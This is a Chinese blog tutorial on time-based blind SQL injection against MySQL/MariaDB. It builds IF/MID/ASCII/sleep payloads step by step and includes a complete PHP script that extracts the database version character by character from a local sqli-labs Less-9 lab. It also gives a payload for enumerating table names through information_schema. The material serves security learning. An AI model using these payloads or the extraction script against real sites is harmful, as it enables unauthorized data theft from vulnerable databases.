sql注入之时间盲注

sql 注入之盲注篇

  • sql注入是十分经典的一个漏洞,相对于文件上传漏洞、xss、业务逻辑漏洞等漏洞也要复杂得多,那么什么是sql注入呢?

    • 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令
  • 那么sql注入又分为哪几种类型呢?

    • 1.字符类型(str)的sql注入
    • 2.整型的(int)的sql注入
    • 3.基于时间型的注入
  • 而sql注入又分为两种情况

    • 1.有明显特征的注入
    • 2.没有明显返回特征的盲注
  • 而我们今天说的便是没有明显的回显特征的盲注,也就是大家常说的时间盲注,那么什么是时间盲注呢?

    • 我们通过构造sql语句来观察页面相应的时间来判断我们想要的结果,这就是时间盲注
  • 那么时间盲注的原理是什么呢?大家不要急,请看下面的一个小例子

    • select version();     //这是查询数据库版本,执行结果请看下图
      
      • 在这里插入图片描述
  • 在这里我先为大家介绍一下三元运算符

    • select if (0,'ok','false');      //0为假,执行此语句将会出现什么结果呢?
      
      • 在这里插入图片描述
    • select if (1,'ok','false');    //1为真,我们看一下执行结果
      
      • 在这里插入图片描述
    • 通过执行的结果,我们发现当条件为真时,将会执行第二位,否则执行第三位的内容,我们利用此机制,通过截取字符串的方式来对数据库版本一一比较

  • 说到截取字符串,就需要为大家介绍一下有哪些常见的数据库字符串截取命令了

    •        MID(str,pos,len)     //  str:字符串    pos:截取的位置   len:截取的长度
      select mid(version(),1,1);    // 这里我们查询数据库的版本并从第一位开始截取长度为1
      
      • 在这里插入图片描述
    •        SUBSTR(str,pos,len) 
      select substr(version(),1,1);      //substr用法与mid类似
      
      • 在这里插入图片描述
    •        substring(str,pos,len)
      select substring(version(),1,1);   //此用法与上述类似
      
      • 在这里插入图片描述
    • 以上为字符串截取最常见的命令,在这里用法一致,下面就将正式进入正题,我们该如何利用呢?

  • select if (mid(version(),1,1)=1,sleep(1),'2');
    
    • 在这里插入图片描述

      • 通过执行结果,我们发现执行时间为1.039s,很明显程序响应时间延迟了,也就是说数据库版本第一位为‘1’。
  • select if (mid(version(),1,1)=1,'ok',sleep(1));
    
    • 在这里插入图片描述

      • 当我们把想要的结果掉换位置的时候,我们发现却是是我们想要的结果,那么二者有什么区别呢?容我卖个关子。
  • 我们获取的数据库版本得知,第三位是一个小数点,小数点是没有办法和数字比较的

    • select if (mid(version(),3,1) < 1,'ok',sleep(1));
      
      • 在这里插入图片描述
    • select mid(version(),3,1);
      
      • 在这里插入图片描述
    • 我们的第三位是一个小数点,而上述程序竟然执行了,说明这样是不符合规则的,所以我们需要将之转换成ascii的形式然后进行比较

  • 首先我们先看一下第三位转换成ascii是什么

    • select ascii(mid(version(),3,1));
      
      • 在这里插入图片描述
    • 我们知道第三位转换成ascii十进制的时候为46,那么我们可以尝试构造新的payload

      • select if(ascii(mid(version(),3,1)) =46 , sleep(1) , '2') ;
        
        • 在这里插入图片描述
      • select if(ascii(mid(version(),3,1)) =46 , 'ok' , sleep(1)) ;
        
        • 在这里插入图片描述
    • 我们发现我们构造的全新的sql语句达到了我们想要的结果,现在我们需要将将我们sql语句加以利用了

  • 我们搭建一个靶站,而后通过测试发现此处存在基于单引号的时间盲注

    • ?id=1 %27 and sleep(2) -- -
      
      • 在这里插入图片描述
  • 于是乎我们开始将我们上述用过的查询语句插入进去构成全新的payload

    • ?id=1 %27 and if(ascii(mid(version(),3,1)) =46 , sleep(1) , "2" ) -- -
      
      • 在这里插入图片描述
  • 通过观察浏览器响应时间我们得知我们想要的结果,但是这种方式很麻烦,所以我们需要编写脚本来自动化执行程序,下面我将以php脚本演示

    • <?php
      /*
       * $url 想要访问的地址
       * $str 定义的空字符串
       * $limit 截取字符串的长度(位置)
       * $temppayload 我的临时payload
       * $payload 将我的临时payload格式化输出
       * $params 将我的payload url转译
       * $BeginTime 计算程序开始时间
       * $EndTime 计算程序结束时间
       * $response 调用聚合函数
       * %d 占位符,为数字类型
      */
      
      $url="http://127.0.0.1/sqli-labs/Less-9/";
      $str="";
      $limit=14;
      $GetVersion=version($url,$limit,$str);
      echo $GetVersion;
      function version($url,$limit,$str){
          $temppayload="1' and if(ascii(mid(version(),%d,1))=%d,sleep(2),'2')-- -";
          for ($lim=1;$lim<=$limit;$lim++){
              for ($asc=32;$asc<127;$asc++){
                  $payload=sprintf($temppayload,$lim,$asc);
                  $params="id=".urlencode($payload);
      //            echo $payload."\n";               //调试用
                  $BeginTime=time();
                  $response= juhecurl($url,$params,0);
                  $EndTime=time()-$BeginTime;
                  if ($EndTime>1){
                      $str=$str.chr($asc);
                      break;
                  }
              }
          }
          return $str;
      }
      
      /**
       * 请求接口返回内容
       * @param  string $url [请求的URL地址]
       * @param  string $params [请求的参数]
       * @param  int $ipost [是否采用POST形式]
       * @return  string
       */
      
      
      function juhecurl($url,$params=false,$ispost=0){
          $httpInfo = array();
          $ch = curl_init();
      
          curl_setopt( $ch, CURLOPT_HTTP_VERSION , CURL_HTTP_VERSION_1_1 );
          curl_setopt( $ch, CURLOPT_USERAGENT , 'JuheData' );
          curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT , 60 );
          curl_setopt( $ch, CURLOPT_TIMEOUT , 60);
          curl_setopt( $ch, CURLOPT_RETURNTRANSFER , true );
          curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
          if( $ispost )
          {
              curl_setopt( $ch , CURLOPT_POST , true );
              curl_setopt( $ch , CURLOPT_POSTFIELDS , $params );
              curl_setopt( $ch , CURLOPT_URL , $url );
          }
          else
          {
              if($params){
                  curl_setopt( $ch , CURLOPT_URL , $url.'?'.$params );
              }else{
                  curl_setopt( $ch , CURLOPT_URL , $url);
              }
          }
          $response = curl_exec( $ch );
          if ($response === FALSE) {
              //echo "cURL Error: " . curl_error($ch);
              return false;
          }
          $httpCode = curl_getinfo( $ch , CURLINFO_HTTP_CODE );
          $httpInfo = array_merge( $httpInfo , curl_getinfo( $ch ) );
          curl_close( $ch );
          return $response;
      }
      
    • 聚合函数是在网上找的,更多聚合函数请转 “juhe.cn”,大家只要理解上一段函数就可以

    • 在这里插入图片描述

    • 结果正是我们想要的数据库版本,上段函数执行了两段for循环,使用循环遍历将我们截取的字符串显示出来,当相应的字符等于对应的ascii十进制的时候变回执行sleep函数,而后结束本次循环进入下一循环,有时候执行结束会出现乱七八糟的东西

    • 在这里插入图片描述

    • 大家出现这样的东西不要慌,再执行一次就好了,而这里我是用的payload是

    • and if ((ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema = %s),%d,1))=%d),sleep(2),'2')   -- -
      
    • 为什么我们不使用
      and if ((ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema = %s),%d,1))=%d),'2',sleep(2))   -- -
      
      • 因为使用此payload将会耗费更多的时间,这段payload只有当ascii值恰好等于相应的数值的时候才会打印’ok’,否则都会延迟两秒,所以我们尽量不采用这个payload,笔者水平有限,并不能解决为什么有时候会出现乱七八糟的东西的问题,向身边的同事咨询也没有得到太好的解决方案,索性再运行一次就好了
  • 说到sleep()延迟函数,就要为大家提一个醒儿了,那就是只有数据库版本高于5.0版本的时候才会出现sleep()函数,也就是说当数据库版本低于5.0这个函数就得换一个了

  • benchmark(10000000,MD5(1)) 这个内置函数是将MD5(1)执行10000000次以达到延迟的效果,适用于数据库5.0版本以下

  • 需要注意的是,笔者这里使用的数据库为MariaDB,这个数据库是MySql数据库的分支,属于简化版

    • MariaDB 5.5 对应 MySql数据库 5.5 版本
    • MariaDB 10.0 对应 MySql数据库 5.6 版本
    • MariaDB 10.1 对应 MySql数据库 5.7 版本
  • 以上便是时间盲注爆库版本,一些畸形用法就不在此例举

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值